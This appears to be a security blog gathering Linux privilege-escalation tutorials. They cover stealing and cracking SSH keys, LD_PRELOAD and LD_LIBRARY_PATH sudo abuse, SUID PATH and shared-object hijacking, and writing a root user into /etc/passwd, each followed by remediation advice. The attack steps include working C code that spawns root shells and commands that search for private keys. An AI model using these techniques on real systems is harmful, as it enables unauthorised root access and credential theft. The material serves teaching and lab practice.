by Vry4n_ | Nov 18, 2023 | Privilege Escalation
SSH keys, or Secure Shell keys, are cryptographic keys used for secure communication over an unsecured network. They provide a secure method for authentication between a client and a server, allowing users to access and manage remote systems securely.
Security Risks:
Key Theft:
- If an unauthorized person gains access to your private SSH key, they can impersonate you and gain unauthorized access to systems you have access to.
Weak Key Generation:
- Poorly generated keys may be susceptible to brute-force attacks. It’s crucial to use a strong, random key generation process.
Key Spoofing:
- Attackers might attempt to intercept or manipulate the communication to present a false public key, leading to potential security breaches.
Unauthorized Key Access:
- If an attacker gains access to an authorized user’s public key, they can add it to their own authorized_keys file and gain access to systems.
Key Exposure:
- Storing private keys on insecure devices or sharing them improperly increases the risk of exposure.
Example of User & key creation
User Creation
1. Use the following command to add a new user (replace username with the desired username):
The -m option ensures that a home directory is created for the user.
2. Set a password for the new user:
Follow the prompts to enter and confirm the password.
RSA SSH keys creation
1. Now, you can add an RSA SSH certificate for the user. You can do this by creating a .ssh directory in the user’s home directory and adding an authorized_keys file to it.
- mkdir -p /home/user1/.ssh
- touch /home/user1/.ssh/authorized_keys
2. Set the appropriate permissions for the .ssh directory and the authorized_keys file:
- chmod 700 /home/user1/.ssh
- chmod 600 /home/user1/.ssh/authorized_keys
- (OPTIONAL) chown -R username:username /home/username/.ssh
3. Generate the key pair. This command will create a new RSA key pair (private and public keys) in the default location (~/.ssh/id_rsa for the private key and ~/.ssh/id_rsa.pub for the public key).
- ssh-keygen -t rsa -b 2048
4. Add this keys, to the authorized_keys file
- ssh-copy-id username@hostname
- ssh-copy-id user1@Vk9-Security
Identifying keys
1. You can search for files that are readable, and contain the word “PRIVATE KEY”, then list the file. You can set up the starting point where you want
- find / -type f -readable -exec grep -q “PRIVATE KEY” {} \; -exec sh -c ‘ls -l “$1″‘ sh {} \; 2> /dev/null
- find /home -type f -readable -exec grep -q “PRIVATE KEY” {} \; -exec sh -c ‘ls -l “$1″‘ sh {} \; 2> /dev/null
LinPEAS
1. You can also, find some keys that can be read in .ssh files
Exploiting READ permission (Without password)
1. Sometimes users make backups of important files but fail to secure them with the correct permissions, or even, the original files were not secured properly, allowing other users to read the contents of SSH keys.
2. You can copy the contents of this file into your computer, and assign the permissions 600 using chmod command
- vi id_rsa
- chmod 600 id_rsa
- ls -l
- cat id_rsa
3. Using file we can make sure if this a private key, also the line “BEGIN RSA PRIVATE KEY” says it all
4. (OPTIONAL) This key seems to be encoded in base64 format, so we try to decoded, sometimes we can find the user this key belongs to
- echo “””<key>””” | base64 -d
Note: This screenshot is from another example
5. Now, Knowing the user this belongs to, we can try to use this key to authenticate
- ssh -i id_rsa root@10.10.130.8
- ssh -i id_rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.130.8
Note: I had to use (-oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa) because this server was not accepting the authentication offer
Exploiting READ permission (password protected)
1. Same steps a before, just when you try to use the certificate, SSH will ask for the private key password, which we don’t know
- ssh user1@127.0.0.1 -i id_rsa
2. We need to crack the private key password, for this we can use ssh2john, to prepare the file to be cracked by john
- ssh2john id_rsa > new_id_rsa
- cat new_id_rsa
3. Now using john, we can crack the password
- john –wordlist=/usr/share/wordlists/rockyou.txt new_id_rsa
Note: So here we have our password
4. Now we can try this password when SSH asks for the key pass phrase
- ssh user1@127.0.0.1 -i id_rsa
5. (OPTIONAL) Doing again the decode with base64 string we can have an idea of what type of encryption is used
- echo “””<key>””” | base64 -d
Recommendations
Key Management:
- Regularly audit and manage SSH keys. Remove unused or unnecessary keys from authorized_keys files.
Strong Key Generation:
- Use robust, industry-standard algorithms like RSA or ECDSA and ensure sufficiently long key lengths.
Passphrase Protection:
- Assign passphrases to private keys to add an extra layer of security. This passphrase encrypts the private key and must be entered before the key can be used.
Key Rotation:
- Periodically rotate SSH keys, especially if someone with access leaves the team or if there’s a suspicion of compromise.
Limiting Key Access:
- Restrict the use of keys to specific IP addresses, commands, or users through the SSH configuration.
Multi-Factor Authentication (MFA):
- Combine SSH key authentication with MFA to add an extra layer of security.
Secure Storage:
- Store private keys securely, using hardware tokens or encrypted containers.
Regular Audits:
- Conduct regular security audits to identify and rectify any vulnerabilities.
Monitoring:
- Implement logging and monitoring to detect and respond to suspicious activities.
by Vry4n_ | Nov 14, 2023 | Privilege Escalation
The sudo command in Unix-based systems allows specified users to execute commands as another user, typically the superuser (root). When used incorrectly or in conjunction with environment variables like LD_PRELOAD and LD_LIBRARY_PATH, it can introduce security vulnerabilities.
Environment Variables and sudo Vulnerabilities:
LD_PRELOAD: This variable specifies a list of additional dynamic libraries to be loaded before all others. It can be exploited to load a shared library into the memory space of the running process, potentially altering its behavior.
- Manipulating LD_PRELOAD to load a malicious library before the standard libraries, allowing for code injection or alteration of program behavior.
LD_LIBRARY_PATH: It defines a search path for shared libraries. If manipulated, it can force the system to load malicious libraries from unintended locations.
- Modifying LD_LIBRARY_PATH to load unauthorized or malicious libraries before the legitimate ones, enabling unauthorized code execution.
LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
Example of a misconfigured sudoers
Explanation
env_reset: This option resets the environment to a default, secure state before executing a command using sudo. It clears the environment variables that might pose a security risk or influence command behavior in an unintended way.
env_keep+=LD_PRELOAD: This part instructs sudo to preserve the LD_PRELOAD environment variable from being reset. The += means to add to the list of preserved variables. LD_PRELOAD allows the preloading of shared libraries before other libraries, which could potentially be exploited for malicious purposes. By keeping this variable, it remains unchanged when sudo resets the rest of the environment.
env_keep+=LD_LIBRARY_PATH: Similar to LD_PRELOAD, this line also tells sudo to preserve the LD_LIBRARY_PATH environment variable. LD_LIBRARY_PATH specifies additional paths to search for shared libraries. Preserving it could be useful in certain scenarios where specific libraries need to be located.
This is how a default sudoers looks like
Identification
1. To identify if LD_PRELOAD or LD_LIBRARY_PATH have been enabled, we can run
Note: We can also read /etc/sudoers, but that is usually restricted
LinPEAS
1. Using LinPEAS.sh we can enumerate sudo -l as well (https://github.com/carlospolop/PEASS-ng/tree/master)
Exploitation: LD_PRELOAD
1. When a program is running, LD_PRELOAD loads a shared object before any others. By writing a simple script with init() function, it will help us execute code as soon as the object is loaded.
2. Create a new shared object
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
3. Compile the code
- gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
- ls -l preload*
3. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object( sudo LD_PRELOAD=/tmp/preload.so program-name-here)
- sudo -l
- sudo LD_PRELOAD=/tmp/preload.so /usr/bin/man
- whoami && id
4. Now you are root!
Exploitation: LD_LIBRARY_PATH
1. The LD_LIBRARY_PATH contains a list of directories which search for shared libraries first. You must test each of the shared libraries to know which one is vulnerable
- sudo -l
- ldd /usr/sbin/iftop
2. Use one of the shared objects in the list and we will hijack it by creating a file with same name. For this demonstration, we will be targeting the libpthread.so.0 (/lib/libpthread.so.0) file.
- vi library_path.c
- cat library_path.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
3. Create a shared object with the same name as one of the listed libraries
- gcc -o /tmp/libpthread.so.0 -shared -fPIC /tmp/library_path.c
- ls -l lib*
4. Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_LIBRARY_PATH environment variable to the full path of the new shared object( sudo LD_LIBRARY_PATH=/tmp/libgdbm.so.3 program-name-here)
- sudo LD_LIBRARY_PATH=/tmp /usr/sbin/iftop
- whoami && id
5. Now you are root!
Extra
1. Try renaming /tmp/libgdbm.so.3 to the name of another library used by the program and re-run it using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.
Remediation
- Restrict Environment Variables: Within the sudo configuration, limit or explicitly deny the preservation of critical environment variables like LD_PRELOAD and LD_LIBRARY_PATH.
- Use Defaults: Set the env_reset option in the sudoers file to reset the environment to a default state, clearing potentially dangerous variables.
- Whitelist Approved Paths: If necessary, specify approved paths within the sudoers file where LD_LIBRARY_PATH can be used.
- Update sudo Configuration: Regularly review and update the sudo configuration to reflect the least privilege principle and remove unnecessary permissions.
by Vry4n_ | Nov 13, 2023 | Privilege Escalation
SUID (Set User ID) and SGID (Set Group ID) are permissions in Unix-based systems that allow users to execute a file with the permissions of the file owner or group, respectively. When these permissions are set on executables and combined with environment variables, it can lead to potential security vulnerabilities if not managed properly.
Environment variables, like PATH, LD_LIBRARY_PATH, or PYTHONPATH, can be manipulated by attackers to potentially influence the behavior of SUID/SGID executables. If an SUID/SGID binary relies on environment variables to locate libraries, binaries, or configurations, an attacker can manipulate these variables to control the behavior of the executable.
If a program is attempting to execute programs without specifying an absolute path, we could modify the $PATH variables, to direct the program to our own script or binary.
Identification
SUID
1. To hunt for all SUID binaries on the system
- find / -type f -perm -4000 2>/dev/null
- find / -type f -perm -u=s 2>/dev/null
SGID
1. You can also search for specific user SUID
- find / -type f -perm -4000 -user root -ls 2>/dev/null
- find / -type f -perm -u=s -user root -ls 2>/dev/null
Extra
1. You can search for both at the same time
- find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
- find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null
LinPEAS
1. Using LinPEAS.sh we can enumerate SUID and SGID
- Transfer the script into the target machine
- Run it: ./LinPEAS.sh
suid3num
1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so
Exploitation #1
1. In our case, we see some interesting SUID/SGID set files. I will test suid-env against this vulnerability. We can review this code, to try to find any program being called without specifying the absolute path
- strings /usr/local/bin/suid-env
Note: In our case, we found this program trying to execute apache2, One line (“service apache2 start”) suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.
2. Create a code that spawns a shell, in any writable directory, and call it as service, then compile it
int main() {
setuid(0);
system("/bin/bash -p");
}
- vi service.c
- cat service.c
- gcc -o service service.c
- ls -l service*
3. Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell
- echo $PATH
- pwd
- export PATH=/home/user:$PATH
- cat $PATH
Note: You can also run, not to change the environment variable
- PATH=.:$PATH /usr/local/bin/suid-env
4. Execute the program, you should have a new shell as root
- /usr/local/bin/suid-env
- whoami && id
Exploitation #2 (absolute path)
1. The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.
- strings /usr/local/bin/suid-env2
2. In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.
3. Create a Bash function with the name “/usr/sbin/service” that executes a new Bash shell (using -p so permissions are preserved) and export the function, then run the program
- function /usr/sbin/service { /bin/bash -p; }
- export -f /usr/sbin/service
- /usr/local/bin/suid-env2
- Whoami && id
Exploitation #3
1. This will not work on Bash versions 4.4 and above. When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.
2. Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:
- env -i SHELLOPTS=xtrace PS4=’$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)’ /usr/local/bin/suid-env2
Note: this command will copy /bin/bash as root, copy it to /tmp as rootbash, and then, set it as sticky bit
3. Now make sure the rootbash file was created, and then run it
- ls -l /tmp
- /tmp/rootbash
- whoami && id
Recommendations
- Limit Environment Variable Usage: Minimize the reliance of SUID/SGID executables on environment variables whenever possible.
- Hardcode Paths: Instead of relying on environmental variables, specify full paths to necessary binaries, libraries, and configurations within the code of the executable.
- Restricted Environment: Implement a restricted environment for the execution of SUID/SGID executables to control and sanitize the environment variables available to them.
- Code Review: Analyze the code of SUID/SGID executables to understand their reliance on environment variables.
- Static Analysis Tools: Use tools that scan code for potential vulnerabilities related to environment variables.
- Runtime Monitoring: Monitor the behavior of SUID/SGID executables for any unexpected or unauthorized actions.
by Vry4n_ | Nov 13, 2023 | Privilege Escalation
UID (Set User ID) and SGID (Set Group ID) are permission bits in Unix-based systems that allow users to execute a program with the permissions of the file owner or group respectively. When these permissions are set on executable files, it can lead to potential security vulnerabilities if not managed properly.
Shared Object Injection is a type of attack where an attacker exploits SUID/SGID executables by injecting malicious code into shared libraries or altering the search path for libraries. This allows the attacker to execute unauthorized commands with elevated privileges, posing a significant security risk.
Once a program is executed, it will seek to load the necessary shared objects. We can use a program called strace to track the shared objects that being called. If a shared object were not found, we can hijack it and write a malicious script to spawn a root shell when it is loaded.
Identification
SUID
1. To hunt for all SUID binaries on the system
- find / -type f -perm -4000 2>/dev/null
- find / -type f -perm -u=s 2>/dev/null
SGID
1. You can also search for specific user SUID
- find / -type f -perm -4000 -user root -ls 2>/dev/null
- find / -type f -perm -u=s -user root -ls 2>/dev/null
Extra
1. You can search for both at the same time
- find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
- find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null
LinPEAS
1. Using LinPEAS.sh we can enumerate SUID and SGID
- Transfer the script into the target machine
- Run it: ./LinPEAS.sh
suid3num
1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so
Exploitation
1. Run the strace and you’ll notice the last shared object that is not found and located at /home/user which is the folder we can write to. ( open(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory) )
- strace /usr/local/bin/suid-so 2>&1 | grep -iE “open|access|no such file”
Note: if the directory doesn’t exist in the path just create it, to replicate the same exact path.
2. Create a file named libcalc.c, as the strace output shows, with the contents
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
Note, this script will run a new shell as the owner of the SUID file
3. Compile it and the output should be the same file name (shared object) that is being called by the SUID.
- gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/.config/libcalc.c
4. (Optional) Run strace again, and, see that now the dependency is found (you may need to kill the process with CTLR+C)
- strace /usr/local/bin/suid-so 2>&1 | grep -iE “open|access|no such file”
5. Now, run the SUID program, and see what happens
- /usr/local/bin/suid-so
- whoami && id
Recommendations
- Reduce Privilege: Minimize the use of SUID/SGID permissions. Only set them when absolutely necessary.
- Regular Updates: Keep software and system libraries updated to patch known vulnerabilities.
- Use Capabilities Instead: Consider using Linux capabilities to grant specific privileges to processes rather than using SUID/SGID where possible.
- Secure Coding Practices: Develop secure code and review it regularly to avoid vulnerabilities.
- Least Privilege Principle: Limit the use of SUID/SGID permissions. Only assign these permissions when there’s a clear need.
- Regular Security Audits: Conduct periodic audits to identify and rectify vulnerabilities.
- Access Controls: Implement strong access controls and user permissions to limit the impact of any potential breach.
- Monitoring and Alert Systems: Employ systems to monitor unusual behavior and set up alerts for any unauthorized access attempts.
- Network Segmentation: Isolate critical systems to minimize the impact of a potential breach.
by Vry4n_ | Nov 13, 2023 | Privilege Escalation
The setuid/setgid (SUID/SGID) bits allows the binary to run with the privileges of the user/group owner instead of those of the user executing it. They can be spotted with the s or S permission in the file user or group owner permissions (i.e. —s–s—). When the file permissions features an uppercase S instead of a lowercase one, it means the corresponding user or group owner doesn’t have execution rights.
Vulnerable programs with these permissions are often targeted by attacker to obtain the user (for setuid) or group (for setgid) privileges. There are many techniques that attackers can use to hijack these binaries and obtain the associated rights.
Identification
SUID
1. To hunt for all SUID binaries on the system
- find / -type f -perm -4000 2>/dev/null
- find / -type f -perm -u=s 2>/dev/null
SGID
1. You can also search for specific user SUID
- find / -type f -perm -4000 -user root -ls 2>/dev/null
- find / -type f -perm -u=s -user root -ls 2>/dev/null
Extra
1. You can search for both at the same time
- find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
- find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null
LinPEAS
1. Using LinPEAS.sh we can enumerate SUID and SGID
- Transfer the script into the target machine
- Run it: ./LinPEAS.sh
Exploitation
1. Once you identify the list of SUID/SGID, you need to start searching for vulnerabilities related to the program. In order to start, you need to find the program information such a version number.
In this case, I will inspect exim4, program, so I start by looking at the version, first I take a look at the installed programs
Note, this time it only shows like dependencies, we can also search for the program dependencies
2. Doing some research online, I found the command to print the exact version
3. Knowing the version we can search on different sources for vulnerabilities & exploits
- Google
- Exploit DB
- IBM Xforce
- Github
- Rapid7
- CXSecurity
- Vulnerability Lab
- 0day
- SecurityFocus
- Packet Storm Security
- Google Hacking Database
- CVE Details
- SecurityFocus
4. Searching in CVE Details for (exim 4.48) I found an interesting CVE, we need to investigate about it, and try to find an exploit.
4. We can search for this CVE in different sources like exploit DB or google as PoC, I found some exploits in Exploit-DB using searchsploit
4. Looking for this CVE in ExploitDB I found (https://www.exploit-db.com/exploits/39535)
5. I run it in the server, and since, this is running SUID, it executes and runs as root
Recommendations
Review and Minimize SUID/SGID Executables:
- Identify and review all files with SUID/SGID permissions.
- Evaluate the necessity of these permissions for each file. Remove SUID/SGID where unnecessary.
Use Least Privilege Principle:
- Only grant SUID/SGID permissions where absolutely needed.
- Assign permissions narrowly to limit potential exploitation.
Regularly Update and Patch:
- Keep software and systems up to date to patch known vulnerabilities associated with SUID/SGID binaries.
Utilize Seccomp and AppArmor/SELinux:
- Implement these security frameworks to confine processes, limiting the potential damage if SUID/SGID binaries are compromised.
Monitor and Audit:
- Implement logging and auditing to monitor the usage and behavior of SUID/SGID binaries for suspicious activities.
by Vry4n_ | Nov 12, 2023 | Privilege Escalation
The /etc/passwd file is a crucial system file in Unix-based operating systems like Linux. It contains essential information about user accounts on the system. Each line in the file represents a single user account and is structured with several fields separated by colons.
Here’s an example entry:
- john:x:1001:1001:John Doe:/home/john:/bin/bash
Let’s break down the fields:
- Username (john): This is the username associated with the account.
- Password Placeholder (x): Historically, the password was stored in this field, represented by an ‘x,’ but modern systems store the password in a separate file (like /etc/shadow) for security reasons.
- User ID (UID) (1001): This is a unique numerical ID assigned to the user. It helps the system identify users by number rather than by name.
- Group ID (GID) (1001): This is the primary group ID associated with the user. Every user belongs to at least one group.
- User Information (John Doe): This field typically contains additional information about the user, like their full name.
- Home Directory (/home/john): This is the absolute path to the user’s home directory, where they land upon logging in.
- Login Shell (/bin/bash): This specifies the user’s default shell, the program that allows them to interact with the system.
Exploiting weak permissions in the /etc/passwd file could allow unauthorized users to access or modify it. For instance, if the permissions are set too loosely (allowing write access to non-privileged users), attackers might tamper with this file to create new user accounts, change passwords, or modify existing account information. This can lead to unauthorized access, privilege escalation
The default permissions should be, read & write for the owner (root), read permissions for root group members and other users
Identification
1. Check manually the /etc/passwd permissions
In this case the WRITE permissions have been granted to other users. Since we can write this file we could do:
- Change an existing user password
- Add a new user
- Modify user information
2. Using LinPEAS.sh you can also find clues about this misconfiguration being present. (https://github.com/carlospolop/PEASS-ng/tree/master)
Exploitation: Change users’ password
1. Having the ability to modify the /etc/passwd file, we can create a password hash, and, replace an user’s password field with the new hash (between the first and second colon (:) of the root user’s row (replacing the “x”). I will replace root user password field
- openssl passwd newpassword
2. Modify the /etc/passwd, the root user line
Before
- cat /etc/passwd | grep root
After
- cat /etc/passwd | grep root
3. Try to log in as root, or change user using su, enter the new password
Exploitation: Adding a new user
1. Having the ability to modify the /etc/passwd file, we can create a new user, copying root user’s row and append it to the bottom of the file, changing the first instance of the word “root” to “newroot” and placing the generated password hash between the first and second colon (replacing the “x”).
- openssl passwd newpassword
2. Create a backup file of /etc/passwd
3. Create a new user, (escape any special characters if needed)
- echo “newroot:\$1\$hDAn9mjC\$.vdrna/Mo3ZORX13yGHD.1:0:0:root:/root:/bin/bash” >> /etc/passwd
4. Verify the line was appended successfully
- cat /etc/passwd | grep newroot
5. Now try to log in using this new user, or change to it using su command
- su newroot
- ssh newroot@10.10.48.238
Remediation
User Permissions and Access Control:
- Review and set proper file permissions for critical system files like /etc/passwd and /etc/shadow. Only allow root or specific privileged users to modify these files.
- Implement the principle of least privilege. Users should only have the permissions necessary to perform their tasks.
Backup and Recovery:
- Regularly back up critical data and ensure a solid disaster recovery plan. This allows you to restore the system in case of a successful attack.
Monitoring and Logging:
- Implement robust logging and monitoring mechanisms to track system activity. Tools like intrusion detection systems (IDS) or security information and event management (SIEM) can help detect anomalies.
- Regularly review system logs to identify unusual activity, login attempts, or modifications to critical files.